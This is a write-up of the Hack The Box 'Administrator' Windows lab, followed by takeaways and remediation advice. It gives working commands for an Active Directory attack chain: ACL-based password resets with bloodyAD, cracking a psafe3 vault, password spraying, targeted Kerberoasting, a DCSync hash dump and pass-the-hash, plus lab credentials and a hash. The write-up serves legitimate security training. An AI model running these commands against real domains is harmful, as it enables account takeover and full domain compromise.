Hacking Insights by Max Bautista

Administrator writeup

Box name: Administrator

Difficulty: Medium

OS: Windows

Overview: Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise.

Link: https://app.hackthebox.com/machines/Administrator?tab=play_machine

Machine IP: 10.129.50.211

As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich

Ran rustscan against the machine.

rustscan -a 10.129.50.211 –ulimit 5000 -b 500 — -A -Pn

Looks like a machine on a domain. Added administrator.htb to /etc/hosts. Tried FTP’ing with the given credentials but they did not work. Tried ldap search but got no results. Checked shares and users with netexec and we do get some users back. No directly interesting shares.

nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –shares

nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –users

I checked Documents, Downloads and Desktop of Olivia with evil-winrm but haven’t found anything. Tried kerberoasting and asreproasting but got no results. Checked token. Spray users as password. Also sprayed our current credentials we have. Tried a bunch of other things. Finally I found something interesting with BloodyAD.

bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 get writable

We have access to write on Michaels account. Let’s try resetting his password.

bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 set password “CN=Michael Williams,CN=Users,DC=administrator,DC=htb” “Password123$”

It looks like that worked. Confirmed it but also no interesting shares from this account.

nxc smb 10.129.50.211 -u michael -p “Password123$” –shares

With Michaels account we can also change benjamin’s password.

bloodyAD –host dc.administrator.htb -d administrator.htb -u michael -p ‘Password123$’ –dc-ip 10.129.50.211 set password “CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb” “Password123$”

After more of trying things eventually I found that benjamin has access to ftp and there is a file in there Backup.psafe3.

ftp 10.129.50.211

This file is password protected. I was able to find that John the ripper has a built in tool to crack psafe files.

pwsafe2john Backup.psafe3 > safe.hash

john –wordlist=/usr/share/wordlists/rockyou.txt safe.hash

Opened this file with pwsafe and put password.

pwsafe Backup.psafe3

It provided me with 3 passwords.

I sprayed the credentials and the credentials worked on emily’s account. emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

nxc smb 10.129.50.211 -u users.txt -p pass.txt –continue-on-success

I ended up getting stuck here after a while and peeked at the writeup. I did try kerberoasting but it failed but apparently there is a targeted kerberoast tool. Additionally I will need to get used to Bloodhound for better visualization.

python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt

If we fix the clock and rerun it we get ethan’s hash.

sudo ntpdate 10.129.50.211

python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt

I was able to crack the hash with hashcat.

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

With ethan’s account we are able to secretsdump.

secretsdump.py -just-dc adminsitrator.htb/ethan@10.129.50.211

And we are able to successfully pass the hash with the Administrator account and evil-winrm and grab both flags.

evil-winrm -i 10.129.50.211 -u Administrator -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine. Added administrator.htb to /etc/hosts. Tried the provided Olivia credentials against FTP and LDAP with no success. Enumerated SMB shares and domain users with netexec. Tried Kerberoasting, ASREPRoasting, and credential spraying with no results. Used BloodyAD to enumerate writable ACL objects and found Olivia had GenericAll over Michael’s account.

rustscan -a 10.129.50.211 –ulimit 5000 -b 500 — -A -Pn nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –users bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 get writable

2 – ACL abuse chain – Olivia to Michael to Benjamin Used Olivia’s GenericAll privilege to reset Michael’s password. Authenticated as Michael and found he could force a password change on Benjamin. Reset Benjamin’s password to gain access to his account.

bloodyAD … set password “CN=Michael Williams,CN=Users,DC=administrator,DC=htb” “Password123$” bloodyAD … set password “CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb” “Password123$”

3 – FTP access and Password Safe database cracking Found Benjamin had FTP access and a Backup.psafe3 file in the FTP share. Used pwsafe2john to extract the hash and cracked it with John the Ripper using rockyou. Opened the database with pwsafe and recovered credentials for three accounts.

pwsafe2john Backup.psafe3 > safe.hash john –wordlist=/usr/share/wordlists/rockyou.txt safe.hash

4 – Credential spray and Emily’s account Sprayed all recovered passwords across all enumerated users. Emily’s credentials authenticated successfully.

Credentials recovered: emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

5 – Targeted Kerberoasting via GenericWrite on Ethan Found Emily had GenericWrite over Ethan, enabling a targeted Kerberoast attack by setting an SPN on his account. Synced the system clock and ran targetedKerberoast to request and capture Ethan’s TGS hash. Cracked it with Hashcat using rockyou.

sudo ntpdate 10.129.50.211 python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

6 – DCSync and domain compromise Confirmed Ethan had DCSync rights. Used secretsdump to dump all domain hashes. Passed the Administrator NTLM hash via evil-winrm to authenticate and retrieved both flags.

secretsdump.py -just-dc administrator.htb/ethan@10.129.50.211 evil-winrm -i 10.129.50.211 -u Administrator -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’

---

Key Takeaways

1. GenericAll and GenericWrite ACL misconfigurations enabling account takeover chain – A chain of excessive AD ACL permissions allowed forced password resets across multiple accounts culminating in targeted Kerberoasting and DCSync. AD ACLs must be audited regularly using BloodHound and excessive permissions including GenericAll and GenericWrite on user objects must be removed immediately.
   
2. Credentials stored in a Password Safe database on an FTP share – Domain user credentials were stored in a psafe3 database accessible via FTP, which was crackable offline with rockyou. Credential stores must never be placed on network shares and must use a master password that resists offline cracking. Rotate all credentials recovered from the database immediately.
   
3. Targeted Kerberoasting enabled by GenericWrite – Emily’s GenericWrite over Ethan allowed setting an SPN and Kerberoasting his account without any prior SPN registration. GenericWrite on user objects must be treated as equivalent to a targeted Kerberoast capability and must be restricted to accounts with an explicit operational requirement.
   
4. Crackable Kerberos service ticket hash – Ethan’s TGS hash was cracked with rockyou. Any account subject to Kerberoasting must use a password of at least 25 randomly generated characters to make offline cracking computationally infeasible.
   
5. DCSync rights on a standard user account enabling full domain compromise – Ethan held DS-Replication-Get-Changes-All rights, allowing a full domain hash dump from a single compromised user account. DCSync rights must be held only by domain controllers and must be audited and removed from all other accounts immediately.
   

---

Remediation

[Immediate] Audit and remove excessive AD ACL permissions Run BloodHound and audit all GenericAll, GenericWrite, WriteDACL, and ForceChangePassword ACEs across all domain objects. Remove Olivia’s GenericAll over Michael, Michael’s ability to reset Benjamin’s password, and Emily’s GenericWrite over Ethan. Establish a recurring ACL audit process and alert on any new high-risk ACE assignments.

[Immediate] Remove DCSync rights from Ethan and rotate all recovered hashes Remove DS-Replication-Get-Changes and DS-Replication-Get-Changes-All from Ethan’s account immediately. Initiate a domain-wide password reset for all accounts whose hashes were recovered via DCSync. Rotate the Administrator password to a randomly generated string managed through a PAM solution.

[Immediate] Remove the Backup.psafe3 file and rotate all recovered credentials Delete the password database from the FTP share immediately and rotate all three credentials recovered from it. Audit all FTP shares for sensitive files and remove any credential stores, configuration files, or backup data.

[Immediate] Restrict FTP access and require strong authentication Restrict FTP to only the accounts and IP addresses with an explicit operational requirement. Require authentication for all FTP connections and consider replacing FTP with SFTP. Audit all FTP directories for sensitive content.

[Short-term] Enforce strong passwords on all Kerberoastable accounts Audit all accounts with SPNs or that can be targeted via GenericWrite-based Kerberoasting. Enforce passwords of at least 25 randomly generated characters and deploy Group Managed Service Accounts for all service accounts to automate rotation and eliminate crackable hashes.

[Long-term] Deploy BloodHound continuously and implement tiered AD administration Run BloodHound on a regular cadence to detect new ACL misconfigurations and attack paths. Adopt a tiered AD model to prevent standard user accounts from holding rights over other users or domain controllers. Implement SIEM detection rules for DCSync activity, forced password resets, and SPN modification events. Include ACL enumeration and targeted Kerberoasting in the regular penetration testing scope.